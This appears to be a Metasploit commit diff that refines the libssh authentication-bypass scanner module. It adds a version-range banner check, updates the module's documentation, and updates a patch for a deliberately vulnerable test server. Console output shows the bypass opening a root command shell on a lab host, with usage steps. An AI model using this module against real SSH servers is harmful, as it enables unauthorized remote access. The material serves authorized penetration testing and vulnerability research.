Land #10835, libssh fingerprint improvements
commit
accf9edf89
|
@ -2,7 +2,8 @@
|
|||
|
||||
This module exploits an authentication bypass in libssh server code
|
||||
where a `USERAUTH_SUCCESS` message is sent in place of the expected
|
||||
`USERAUTH_REQUEST` message. Versions 0.6 and later are affected.
|
||||
`USERAUTH_REQUEST` message. libssh versions 0.6.0 through 0.7.5 and
|
||||
0.8.0 through 0.8.3 are vulnerable.
|
||||
|
||||
Note that this module's success depends on whether the server code
|
||||
can trigger the correct (`shell`/`exec`) callbacks despite only the state
|
||||
|
@ -15,7 +16,7 @@ additional code paths to be followed.
|
|||
|
||||
1. `git clone git://git.libssh.org/projects/libssh.git`
|
||||
2. `cd libssh` and `git checkout libssh-0.8.3`
|
||||
3. `patch -p0 < /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch`
|
||||
3. `git apply -p1 /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch`
|
||||
4. Follow the steps in `INSTALL` to build libssh
|
||||
5. Run `build/examples/ssh_server_fork` (I like to `strace` it)
|
||||
|
||||
|
@ -35,13 +36,13 @@ require this. Note that you WILL be logged in `utmp`, `wtmp`, and
|
|||
|
||||
**CHECK_BANNER**
|
||||
|
||||
This is a banner check for the `libssh` string. It's not sophisticated,
|
||||
and the banner may be changed, but it may prevent false positives due to
|
||||
how the OOB authentication packet always returns `true`.
|
||||
This is a banner check for libssh. It's not sophisticated, and the
|
||||
banner may be changed, but it may prevent false positives due to how the
|
||||
OOB authentication packet always returns `true`.
|
||||
|
||||
## Usage
|
||||
|
||||
Testing against libssh 0.8.3:
|
||||
Positive testing against unpatched libssh 0.8.3:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/ssh/libssh_auth_bypass
|
||||
|
@ -56,6 +57,7 @@ verbose => true
|
|||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
|
||||
|
||||
[*] 172.28.128.3:2222 - Attempting authentication bypass
|
||||
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
|
||||
[*] Command shell session 1 opened (172.28.128.1:56981 -> 172.28.128.3:2222) at 2018-10-19 12:38:24 -0500
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
@ -74,12 +76,25 @@ tty
|
|||
#
|
||||
```
|
||||
|
||||
Negative testing against patched libssh 0.8.4:
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
|
||||
|
||||
[*] 172.28.128.3:2222 - Attempting authentication bypass
|
||||
[-] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.4 appears to be patched
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
|
||||
```
|
||||
|
||||
Negative testing against an insufficiently implemented libssh server:
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
|
||||
|
||||
[*] 172.28.128.3:2222 - Attempting authentication bypass
|
||||
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
|
||||
[-] 172.28.128.3:2222 - shell/exec channel request failed
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
|
|
@ -1,6 +1,8 @@
|
|||
--- examples/ssh_server_fork.c.orig 2018-10-17 18:28:06.476708511 +0000
|
||||
+++ examples/ssh_server_fork.c 2018-10-19 05:45:08.754976769 +0000
|
||||
@@ -235,8 +235,6 @@
|
||||
diff --git a/examples/ssh_server_fork.c b/examples/ssh_server_fork.c
|
||||
index 217c5298..20008c76 100644
|
||||
--- a/examples/ssh_server_fork.c
|
||||
+++ b/examples/ssh_server_fork.c
|
||||
@@ -235,8 +235,6 @@ struct channel_data_struct {
|
||||
struct session_data_struct {
|
||||
/* Pointer to the channel the session will allocate. */
|
||||
ssh_channel channel;
|
||||
|
@ -9,7 +11,7 @@
|
|||
};
|
||||
|
||||
static int data_function(ssh_session session, ssh_channel channel, void *data,
|
||||
@@ -406,8 +404,8 @@
|
||||
@@ -406,8 +404,8 @@ static int shell_request(ssh_session session, ssh_channel channel,
|
||||
if (cdata->pty_master != -1 && cdata->pty_slave != -1) {
|
||||
return exec_pty("-l", NULL, cdata);
|
||||
}
|
||||
|
@ -20,7 +22,7 @@
|
|||
}
|
||||
|
||||
static int subsystem_request(ssh_session session, ssh_channel channel,
|
||||
@@ -421,16 +419,13 @@
|
||||
@@ -421,16 +419,13 @@ static int subsystem_request(ssh_session session, ssh_channel channel,
|
||||
|
||||
static int auth_password(ssh_session session, const char *user,
|
||||
const char *pass, void *userdata) {
|
||||
|
@ -38,7 +40,7 @@
|
|||
return SSH_AUTH_DENIED;
|
||||
}
|
||||
|
||||
@@ -496,9 +491,7 @@
|
||||
@@ -496,9 +491,7 @@ static void handle_session(ssh_event event, ssh_session session) {
|
||||
|
||||
/* Our struct holding information about the session. */
|
||||
struct session_data_struct sdata = {
|
||||
|
@ -49,7 +51,7 @@
|
|||
};
|
||||
|
||||
struct ssh_channel_callbacks_struct channel_cb = {
|
||||
@@ -530,19 +523,11 @@
|
||||
@@ -530,19 +523,11 @@ static void handle_session(ssh_event event, ssh_session session) {
|
||||
ssh_set_auth_methods(session, SSH_AUTH_METHOD_PASSWORD);
|
||||
ssh_event_add_session(event, session);
|
||||
|
||||
|
|
|
@ -16,7 +16,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'Description' => %q{
|
||||
This module exploits an authentication bypass in libssh server code
|
||||
where a USERAUTH_SUCCESS message is sent in place of the expected
|
||||
USERAUTH_REQUEST message. Versions 0.6 and later are affected.
|
||||
USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and
|
||||
0.8.0 through 0.8.3 are vulnerable.
|
||||
|
||||
Note that this module's success depends on whether the server code
|
||||
can trigger the correct (shell/exec) callbacks despite only the state
|
||||
|
@ -41,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
Opt::RPORT(22),
|
||||
OptString.new('CMD', [false, 'Command to execute']),
|
||||
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),
|
||||
OptBool.new('CHECK_BANNER', [false, 'Check banner for "libssh"', true])
|
||||
OptBool.new('CHECK_BANNER', [false, 'Check banner for libssh', true])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
|
@ -50,6 +51,26 @@ class MetasploitModule < Msf::Auxiliary
|
|||
])
|
||||
end
|
||||
|
||||
# Vulnerable since 0.6.0 and patched in 0.7.6 and 0.8.4
|
||||
def check_banner(ip, version)
|
||||
version =~ /libssh_([\d.]+)$/ && $1 && (v = Gem::Version.new($1))
|
||||
|
||||
if v.nil?
|
||||
vprint_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
|
||||
return Exploit::CheckCode::Safe
|
||||
elsif v.between?(Gem::Version.new('0.6.0'), Gem::Version.new('0.7.5')) ||
|
||||
v.between?(Gem::Version.new('0.8.0'), Gem::Version.new('0.8.3'))
|
||||
vprint_good("#{ip}:#{rport} - #{version} appears to be unpatched")
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
vprint_error("#{ip}:#{rport} - #{version} appears to be patched")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
# Hopefully we never hit this
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
factory = ssh_socket_factory
|
||||
|
||||
|
@ -83,10 +104,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
version = ssh.transport.server_version.version
|
||||
|
||||
# XXX: The OOB authentication leads to false positives, so check banner
|
||||
if datastore['CHECK_BANNER'] && !version.include?('libssh')
|
||||
print_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
|
||||
return
|
||||
end
|
||||
return if datastore['CHECK_BANNER'] &&
|
||||
check_banner(ip, version) != Exploit::CheckCode::Appears
|
||||
|
||||
report_vuln(
|
||||
host: ip,
|
||||
|
|
Loading…
Reference in New Issue